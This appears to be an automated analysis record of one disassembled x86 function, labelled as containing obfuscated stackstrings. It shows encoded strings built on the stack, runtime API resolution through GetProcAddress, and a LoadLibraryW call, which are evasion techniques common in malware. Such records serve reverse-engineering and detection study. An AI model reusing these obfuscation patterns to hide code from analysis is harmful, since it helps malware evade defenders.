Function at 0x10418d86
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x344
mov eax, 0x10450351
call fcn.1044d171
mov esi, ecx
push ecx
xor ebx, ebx
lea eax, [ebp + 0xc]
mov ecx, esp
inc ebx
push eax
mov dword [ebp - 4], ebx
call fcn.1041aad8
call fcn.10418cee
mov byte [esi + 0x2c], al
pop ecx
test al, al
jne 0x10419309
xor edi, edi
mov dword [ebp - 0x320], 0x72456a42
push edi
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x31c], 0x6559694d
push eax
lea eax, [ebp - 0x320]
mov dword [ebp - 0x318], 0x674d434b
push eax
lea ecx, [ebp - 0x350]
mov dword [ebp - 0x314], 0x2b6b485a
mov dword [ebp - 0x310], 0x5751444d
mov dword [ebp - 0x30c], 0x764d444f
mov dword [ebp - 0x308], 0x3674794a
mov dword [ebp - 0x304], 0x31493245
mov dword [ebp - 0x300], 0x6f777942
mov dword [ebp - 0x2fc], 0x52454241
mov dword [ebp - 0x2f8], 0x6e6b424b
mov dword [ebp - 0x2f4], 0x49516a49
mov dword [ebp - 0x2f0], 0x784e7945
mov dword [ebp - 0x2ec], 0x56497a4e
mov dword [ebp - 0x2e8], 0x526f7845
mov dword [ebp - 0x2e4], 0x66596946
mov dword [ebp - 0x2e0], 0x63556744
mov dword [ebp - 0x2dc], 0x2b42424a
mov dword [ebp - 0x2d8], 0x676b6a4a
mov dword [ebp - 0x2d4], 0x6251684c
mov dword [ebp - 0x2d0], 0x41307946
mov dword [ebp - 0x2cc], 0x31414141
mov dword [ebp - 0x280], 0x77596947
mov dword [ebp - 0x27c], 0x3059434b
mov dword [ebp - 0x278], 0x72316e63
mov dword [ebp - 0x274], 0x3463694e
mov dword [ebp - 0x270], 0x4a55434c
mov dword [ebp - 0x26c], 0x30527a41
mov dword [ebp - 0x268], 0x2f67774a
mov dword [ebp - 0x264], 0x596f4442
mov dword [ebp - 0x260], 0x4373484c
mov dword [ebp - 0x25c], 0x4c30334b
mov dword [ebp - 0x258], 0x46557749
mov dword [ebp - 0x254], 0x5167774a
mov dword [ebp - 0x250], 0x30467964
mov dword [ebp - 0x24c], 0x6e454446
mov dword [ebp - 0x248], 0x4734784f
mov dword [ebp - 0x244], 0x6e344441
mov dword [ebp - 0x240], 0x53555342
mov dword [ebp - 0x23c], 0x65494348
mov dword [ebp - 0x238], 0x52386e42
mov dword [ebp - 0x234], 0x63774365
mov dword [ebp - 0x230], 0x79514141
mov dword [ebp - 0x22c], 0x73496948
mov dword [ebp - 0x228], 0x6f566a63
mov dword [ebp - 0x224], 0x4145544d
mov dword [ebp - 0x220], 0x37414141
call fcn.104115b3
sub esp, 0xc
mov ecx, esp
push ecx
push dword [eax + 4]
push dword [eax]
call fcn.1041a126
lea ecx, [ebp - 0x334]
call fcn.10411096
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.10419f7e
push eax
push edi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x280]
push eax
lea ecx, [ebp - 0x33c]
call fcn.104115b3
sub esp, 0xc
mov ecx, esp
push ecx
push dword [eax + 4]
push dword [eax]
call fcn.1041a126
lea ecx, [ebp - 0x348]
call fcn.104112dd
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.10419eaa
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x348]
mov dword [0x10c30df8], eax
call fcn.10419ee8
lea ecx, [ebp - 0x334]
mov byte [ebp - 4], bl
call fcn.10419fb8
cmp dword [0x10c30df8], edi
je 0x10419309
call fcn.104213f0
test eax, eax
je 0x10419309
lea ecx, [ebp + 8]
mov byte [esi + 0x2d], bl
mov dword [0x10c30dfc], ebx
call fcn.10419ced
push eax
mov ecx, 0x10c30e30
call fcn.1041ab7f
push 0x104
lea eax, [ebp - 0x218]
push eax
push dword [0x10c31074]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x10c31078], eax
test eax, eax
je 0x104190ab
mov byte [esi + 0x2e], bl
push dword [ebp + 0xc]
lea eax, [ebp - 0x219]
mov dword [ebp - 0x2c8], 0x74386946
push edi
push eax
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x2c4], 0x3049434a
push eax
lea ecx, [ebp - 0x33c]
mov dword [ebp - 0x2c0], 0x326f5748
mov dword [ebp - 0x2bc], 0x6d345344
mov dword [ebp - 0x2b8], 0x47636742
mov dword [ebp - 0x2b4], 0x3452444f
mov dword [ebp - 0x2b0], 0x61737965
mov dword [ebp - 0x2ac], 0x6c417745
mov dword [ebp - 0x2a8], 0x39396e4a
mov dword [ebp - 0x2a4], 0x2f6f5345
mov dword [ebp - 0x2a0], 0x33567a50
mov dword [ebp - 0x29c], 0x55774148
mov dword [ebp - 0x298], 0x68416963
mov dword [ebp - 0x294], 0x36675448
mov dword [ebp - 0x290], 0x4c454365
mov dword [ebp - 0x28c], 0x6f774450
mov dword [ebp - 0x288], 0x6c555144
mov dword [ebp - 0x284], 0x6c4d6a4b
mov dword [ebp - 0x280], 0x2b704148
mov dword [ebp - 0x27c], 0x64555843
mov dword [ebp - 0x278], 0x6a4d4442
mov dword [ebp - 0x274], 0x685a694e
mov dword [ebp - 0x270], 0x79347845
mov dword [ebp - 0x26c], 0x5a6f424f
mov dword [ebp - 0x268], 0x6d49794b
mov dword [ebp - 0x264], 0x626f6a44
mov dword [ebp - 0x260], 0x64415241
mov dword [ebp - 0x25c], 0x7734424b
mov dword [ebp - 0x258], 0x4130445a
mov dword [ebp - 0x254], 0x5649444d
mov dword [ebp - 0x250], 0x7a6f4848
mov dword [ebp - 0x24c], 0x5751484b
mov dword [ebp - 0x248], 0x79684163
mov dword [ebp - 0x244], 0x6852414e
mov dword [ebp - 0x240], 0x4d4d694a
mov dword [ebp - 0x23c], 0x6c38534d
mov dword [ebp - 0x238], 0x6d49514d
mov dword [ebp - 0x234], 0x2b4a4148
mov dword [ebp - 0x230], 0x4d41674e
mov dword [ebp - 0x22c], 0x59384345
mov dword [ebp - 0x228], 0x48384143
mov dword [ebp - 0x224], 0x4363414a
mov dword [ebp - 0x220], 0x41417743
mov word [ebp - 0x21c], 0x4841
mov byte [ebp - 0x21a], 0x51
call fcn.104115b3
sub esp, 0xc
mov ecx, esp
push ecx
push dword [eax + 4]
push dword [eax]
call fcn.1041a126
lea ecx, [ebp - 0x334]
call fcn.104112dd
add esp, 0xc
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.10419eaa
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.1041ef9e
add esp, 0xc
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x334]
call fcn.10419ee8
lea ecx, [ebp + 0xc]
call fcn.10419ced
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x10c30df0], eax
test eax, eax
je 0x104192ec
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push ecx
lea ecx, [ebp - 0x328]
call fcn.1041f0ac
push eax
call fcn.1040ffb0
lea ecx, [ebp - 0x328]
call fcn.1040ffa2
lea ecx, [ebp + 8]
call fcn.1041a6bb
lea ecx, [ebp + 0xc]
call fcn.1041a6bb
call fcn.1044d11b
ret